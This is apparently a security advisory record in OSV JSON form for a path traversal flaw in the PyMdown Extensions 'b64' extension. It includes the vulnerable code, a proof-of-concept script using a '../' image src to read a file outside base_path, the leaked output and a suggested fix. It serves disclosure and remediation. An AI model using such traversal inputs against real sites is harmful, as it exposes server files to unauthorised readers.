{"id":"PYSEC-2026-3609","summary":"PyMdown Extensions: Path traversal in the b64 extension lets \u003cimg src\u003e read files outside base_path","details":"### Summary\n\nThe `b64` extension inlines images referenced by `\u003cimg src=\"...\"\u003e` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents.\n\nThis is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI.\n\n### Details\n\nIn `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`):\n\n```python\nif is_absolute:\n    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely\nelse:\n    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path\nif os.path.exists(file_name):\n    ext = os.path.splitext(file_name)[1].lower()\n    for b64_ext in file_types:\n        if ext in b64_ext:\n            with open(file_name, \"rb\") as f:                    # opened with no containment check\n                ...\n```\n\nThere is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`.\n\n### PoC\n\nReproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output.\n\n```python\nimport base64, os, shutil, tempfile, markdown\n\nroot = tempfile.mkdtemp()\nbase_path = os.path.join(root, \"docs\"); os.makedirs(base_path)\noutside = os.path.join(root, \"secret\"); os.makedirs(outside)\n\npng = base64.b64decode(\n    \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk\"\n    \"+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\"\n)\nwith open(os.path.join(outside, \"secret.png\"), \"wb\") as f:\n    f.write(png)\n\nmd = markdown.Markdown(\n    extensions=[\"pymdownx.b64\"],\n    extension_configs={\"pymdownx.b64\": {\"base_path\": base_path}},\n)\nhtml = md.convert('\u003cimg src=\"../secret/secret.png\"\u003e')\n\nassert base64.b64encode(png).decode() in html, \"not leaked\"\nprint(\"LEAKED:\", html)\n```\n\nOutput:\n\n```\nLEAKED: \u003cp\u003e\u003cimg src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ...\"\u003e\u003c/p\u003e\n```\n\nThe base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking.\n\n### Impact\n\nAn application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.\n\n### Suggested fix\n\nResolve the real path and require it to stay within `base_path` before opening:\n\n```python\nfile_name = os.path.realpath(os.path.join(base_path, path))\nbase_real = os.path.realpath(base_path)\nif file_name != base_real and not file_name.startswith(base_real + os.sep):\n    return m.group(0)  # leave the tag untouched; do not read outside base_path\n```\n\nThe same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.","aliases":["CVE-2026-61632","GHSA-9xwg-3r6f-jcx2"],"modified":"2026-08-04T14:30:19.278240076Z","published":"2026-08-04T11:34:42.183332Z","references":[{"type":"WEB","url":"https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-9xwg-3r6f-jcx2"},{"type":"WEB","url":"https://github.com/facelessuser/pymdown-extensions/commit/edce35586d11a1ef78bb187bc60497fe6dbf3b64"},{"type":"PACKAGE","url":"https://github.com/facelessuser/pymdown-extensions"},{"type":"WEB","url":"https://github.com/facelessuser/pymdown-extensions/releases/tag/11.0"},{"type":"PACKAGE","url":"https://pypi.org/project/pymdown-extensions"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9xwg-3r6f-jcx2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61632"}],"affected":[{"package":{"name":"pymdown-extensions","ecosystem":"PyPI","purl":"pkg:pypi/pymdown-extensions"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.0.0"}]}],"versions":["1.0.0","1.0.1","1.1","1.2","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","10.0","10.0.1","10.1","10.10","10.10.1","10.10.2","10.11","10.11.1","10.11.2","10.12","10.13","10.14","10.14.1","10.14.2","10.14.3","10.15","10.16","10.16.1","10.17","10.17.1","10.17.2","10.18","10.19","10.19.1","10.2","10.2.1","10.20","10.20.1","10.21","10.21.2","10.21.3","10.3","10.3.1","10.4","10.5","10.6","10.7","10.7.1","10.8","10.8.1","10.9","2.0","3.0","3.1","3.2","3.2.1","3.3","3.4","3.5","4.0","4.1","4.10","4.10.1","4.10.2","4.11","4.12","4.2","4.3","4.4","4.5","4.5.1","4.6","4.7","4.8","4.9","4.9.1","4.9.2","5.0","6.0","6.1","6.2","6.2.1","6.3","7.0","7.0b1","7.0b2","7.0rc1","7.0rc2","7.1","8.0","8.0.1","8.1","8.1.1","8.2","9.0","9.0.dev0","9.1","9.10","9.10a1","9.10a2","9.10a3","9.10b1","9.10b2","9.10b3","9.10b4","9.10b5","9.11","9.2","9.3","9.4","9.5","9.6","9.7","9.8","9.9","9.9.1","9.9.2"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/pymdown-extensions/PYSEC-2026-3609.yaml"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}